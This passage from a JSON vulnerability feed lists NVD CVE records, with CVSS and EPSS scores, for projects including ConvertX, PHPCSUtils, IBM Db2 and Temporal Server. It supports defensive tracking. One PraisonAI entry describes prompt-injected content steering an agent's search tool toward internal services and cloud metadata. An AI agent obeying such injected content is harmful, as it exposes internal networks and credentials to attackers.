2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108361&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108361, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83535","cveId":"CVE-2026-83535","aliases":[],"kind":"vulnerability","title":"A flaw was found in openstack-network-exporter. When an operator configures user authentication but omits or misconfigures Transport Layer Security (TLS), the basic authentication...","summary":"A flaw was found in openstack-network-exporter. When an operator configures user authentication but omits or misconfigures Transport Layer Security (TLS), the basic authentication mechanism is silently bypassed. This fail-open design allows an adjacent network attacker to access sensitive Open vSwitch (OVS) and Open Virtual Network (OVN) dataplane metrics without credentials. Consequently, an attacker can enumerate bridge names, port counters, OVN controller state, and host topology, leading to information disclosure.","detail":"A flaw was found in openstack-network-exporter. When an operator configures user authentication but omits or misconfigures Transport Layer Security (TLS), the basic authentication mechanism is silently bypassed. This fail-open design allows an adjacent network attacker to access sensitive Open vSwitch (OVS) and Open Virtual Network (OVN) dataplane metrics without credentials. Consequently, an attacker can enumerate bridge names, port counters, OVN controller state, and host topology, leading to information disclosure.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T19:16:39.850Z","updatedAt":"2026-10-15T16:33:26.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83535","asOf":"2026-10-15T16:33:26.290Z"},"epss":{"probability":0.00282,"percentile":0.20513,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83535&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83535","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83535","type":"primary","publishedAt":"2026-10-12T19:16:39.850Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83535&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83535, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65954","cveId":"CVE-2026-65954","aliases":[],"kind":"vulnerability","title":"PHPCSUtils is a suite of utility functions for use with PHP_CodeSniffer.","summary":"PHPCSUtils is a suite of utility functions for use with PHP_CodeSniffer. From 1.0.0-alpha1 until 1.2.3, PHPCSUtils\\AbstractSniffs\\AbstractArrayDeclarationSniff::getActualArrayKey() evaluates attacker-controlled array-key expressions with eval(), allowing callback-form keys in untrusted PHP code scanned by an extending sniff to execute arbitrary commands on the scanning host. Known reachable paths include Universal.Arrays.DuplicateArrayKey and Universal.Arrays.MixedArrayKeyTypes. This issue is fixed in version 1.2.3.","detail":"PHPCSUtils is a suite of utility functions for use with PHP_CodeSniffer. From 1.0.0-alpha1 until 1.2.3, PHPCSUtils\\AbstractSniffs\\AbstractArrayDeclarationSniff::getActualArrayKey() evaluates attacker-controlled array-key expressions with eval(), allowing callback-form keys in untrusted PHP code scanned by an extending sniff to execute arbitrary commands on the scanning host. Known reachable paths include Universal.Arrays.DuplicateArrayKey and Universal.Arrays.MixedArrayKeyTypes. This issue is fixed in version 1.2.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T19:16:39.567Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65954","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00155,"percentile":0.04622,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65954&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65954","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65954","type":"primary","publishedAt":"2026-10-12T19:16:39.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65954&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65954, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-59977","cveId":"CVE-2026-59977","aliases":[],"kind":"vulnerability","title":"ConvertX is a self-hosted file conversion service.","summary":"ConvertX is a self-hosted file conversion service. Prior to 0.18.0, the /delete/{id} endpoint uses HTTP GET for permanent deletion without CSRF protection. If an authenticated user visits attacker-controlled content that requests /delete/{id}, the browser sends the user session cookie and the request deletes the targeted job, resulting in unauthorized loss of converted-file history. This issue is fixed in version 0.18.0.","detail":"ConvertX is a self-hosted file conversion service. Prior to 0.18.0, the /delete/{id} endpoint uses HTTP GET for permanent deletion without CSRF protection. If an authenticated user visits attacker-controlled content that requests /delete/{id}, the browser sends the user session cookie and the request deletes the targeted job, resulting in unauthorized loss of converted-file history. This issue is fixed in version 0.18.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T19:16:39.417Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59977","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00148,"percentile":0.03999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-59977&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-59977","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59977","type":"primary","publishedAt":"2026-10-12T19:16:39.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-59977&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-59977, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-59976","cveId":"CVE-2026-59976","aliases":[],"kind":"vulnerability","title":"ConvertX is a self-hosted file conversion service.","summary":"ConvertX is a self-hosted file conversion service. Prior to 0.18.0, the ImageMagick converter uses the unsanitized convert_to parameter to construct an output path. If an authenticated user, or an unauthenticated user when ConvertX is configured to allow unauthenticated access, uploads an extensionless image and supplies directory traversal sequences in convert_to through /convert, the constructed path escapes the intended output directory, allowing the attacker to write converted output to arbitrary container paths, potentially overwriting files or causing denial of service. This issue is fixed in version 0.18.0.","detail":"ConvertX is a self-hosted file conversion service. Prior to 0.18.0, the ImageMagick converter uses the unsanitized convert_to parameter to construct an output path. If an authenticated user, or an unauthenticated user when ConvertX is configured to allow unauthenticated access, uploads an extensionless image and supplies directory traversal sequences in convert_to through /convert, the constructed path escapes the intended output directory, allowing the attacker to write converted output to arbitrary container paths, potentially overwriting files or causing denial of service. This issue is fixed in version 0.18.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T19:16:39.260Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59976","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00769,"percentile":0.55318,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-59976&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-59976","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59976","type":"primary","publishedAt":"2026-10-12T19:16:39.260Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-59976&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-59976, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57143","cveId":"CVE-2026-57143","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.62, searxng_search and the search_web SearxNG provider pass the LLM-controlled searxng_url parameter directly to requests.get without validating its scheme, host, port, or resolved address. Prompt-injected content can direct the default search tool to internal JSON services, distinguish open and closed internal ports, and attempt cloud-metadata requests, with returned JSON results entering agent context. This issue is fixed in praisonaiagents 1.6.62.","detail":"PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.62, searxng_search and the search_web SearxNG provider pass the LLM-controlled searxng_url parameter directly to requests.get without validating its scheme, host, port, or resolved address. Prompt-injected content can direct the default search tool to internal JSON services, distinguish open and closed internal ports, and attempt cloud-metadata requests, with returned JSON results entering agent context. This issue is fixed in praisonaiagents 1.6.62.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T19:16:39.110Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57143","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00275,"percentile":0.19762,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57143&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57143","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57143","type":"primary","publishedAt":"2026-10-12T19:16:39.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57143&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57143, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-18166","cveId":"CVE-2026-18166","aliases":[],"kind":"vulnerability","title":"IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a remote authenticated attacker to obtain sensitive...","summary":"IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a remote authenticated attacker to obtain sensitive information due to improper authorization when using the CREATE WRAPPER command.","detail":"IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a remote authenticated attacker to obtain sensitive information due to improper authorization when using the CREATE WRAPPER command.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T19:16:38.773Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-18166","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00249,"percentile":0.16022,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-18166&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-18166","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-18166","type":"primary","publishedAt":"2026-10-12T19:16:38.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-18166&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-18166, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108921","cveId":"CVE-2026-108921","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in KusalkaSilva Learning-Management-System up to ffeb873f8803f1e9664384ff75000c7da45466d2. This impacts the function mysql_query of the file...","summary":"A vulnerability was detected in KusalkaSilva Learning-Management-System up to ffeb873f8803f1e9664384ff75000c7da45466d2. This impacts the function mysql_query of the file remove_announcements.php of the component State-Changing Endpoints. Performing a manipulation of the argument ID results in missing authentication. The attack may be initiated remotely. The exploit is now public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was detected in KusalkaSilva Learning-Management-System up to ffeb873f8803f1e9664384ff75000c7da45466d2. This impacts the function mysql_query of the file remove_announcements.php of the component State-Changing Endpoints. Performing a manipulation of the argument ID results in missing authentication. The attack may be initiated remotely. The exploit is now public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T19:16:38.420Z","updatedAt":"2026-10-13T17:17:22.397Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108921","asOf":"2026-10-13T17:17:22.397Z"},"epss":{"probability":0.00397,"percentile":0.33644,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108921&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108921","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108921","type":"primary","publishedAt":"2026-10-12T19:16:38.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108921&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108921, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105465","cveId":"CVE-2026-105465","aliases":[],"kind":"vulnerability","title":"IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 is vulnerable to privilege escalation when db2locssh is enabled with the db2 instance.","summary":"IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 is vulnerable to privilege escalation when db2locssh is enabled with the db2 instance.","detail":"IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 is vulnerable to privilege escalation when db2locssh is enabled with the db2 instance.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T19:16:37.610Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105465","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00098,"percentile":0.0076,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105465&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105465","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105465","type":"primary","publishedAt":"2026-10-12T19:16:37.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105465&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105465, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105464","cveId":"CVE-2026-105464","aliases":[],"kind":"vulnerability","title":"IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a local attacker to gain elevated privileges due to...","summary":"IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a local attacker to gain elevated privileges due to improper privilege management.","detail":"IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 for Linux, UNIX and Windows (includes DB2 Connect Server) could allow a local attacker to gain elevated privileges due to improper privilege management.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T19:16:37.450Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105464","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00093,"percentile":0.00548,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105464&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105464","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105464","type":"primary","publishedAt":"2026-10-12T19:16:37.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105464&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105464, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104355","cveId":"CVE-2026-104355","aliases":[],"kind":"vulnerability","title":"A connected peer cluster can modify a Temporal Server cluster's local namespaces, which are never replicated to that peer, because the receiving cluster applies inbound namespace...","summary":"A connected peer cluster can modify a Temporal Server cluster's local namespaces, which are never replicated to that peer, because the receiving cluster applies inbound namespace replication updates to them. In a multi-cluster deployment, each cluster pulls replication tasks from the remote clusters an administrator has registered with connection enabled; the sending side excludes local namespaces, but the receiving side does not apply the same rule. When an inbound task names an existing namespace, the server checks at most that the namespace identifiers match, then overwrites its state, description, owner, retention, archival settings, and cluster list, and its active cluster when the task carries a higher failover version, without checking that the namespace is global. A party that controls a registered peer's replies, by operating or compromising it, can therefore change any local namespace whose name and identifier it can supply, without any credential on the receiving cluster: for example, marking it Deprecated, making the peer its active cluster, and shortening its retention, after which new Workflow starts in that namespace fail. Local namespaces include the built-in temporal-system namespace. Namespace metadata the History service refreshes from the peer while processing its history replication tasks passes through the same logic. A cluster with no remote cluster registered with connection enabled is not exposed.","detail":"A connected peer cluster can modify a Temporal Server cluster's local namespaces, which are never replicated to that peer, because the receiving cluster applies inbound namespace replication updates to them. In a multi-cluster deployment, each cluster pulls replication tasks from the remote clusters an administrator has registered with connection enabled; the sending side excludes local namespaces, but the receiving side does not apply the same rule. When an inbound task names an existing namespace, the server checks at most that the namespace identifiers match, then overwrites its state, description, owner, retention, archival settings, and cluster list, and its active cluster when the task carries a higher failover version, without checking that the namespace is global. A party that controls a registered peer's replies, by operating or compromising it, can therefore change any local namespace whose name and identifier it can supply, without any credential on the receiving cluster: for example, marking it Deprecated, making the peer its active cluster, and shortening its retention, after which new Workflow starts in that namespace fail. Local namespaces include the built-in temporal-system namespace. Namespace metadata the History service refreshes from the peer while processing its history replication tasks passes through the same logic. A cluster with no remote cluster registered with connection enabled is not exposed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T19:16:36.900Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104355","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00359,"percentile":0.29403,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104355&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104355","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104355","type":"primary","publishedAt":"2026-10-12T19:16:36.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104355&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104355, scored 2026-10-25. This is 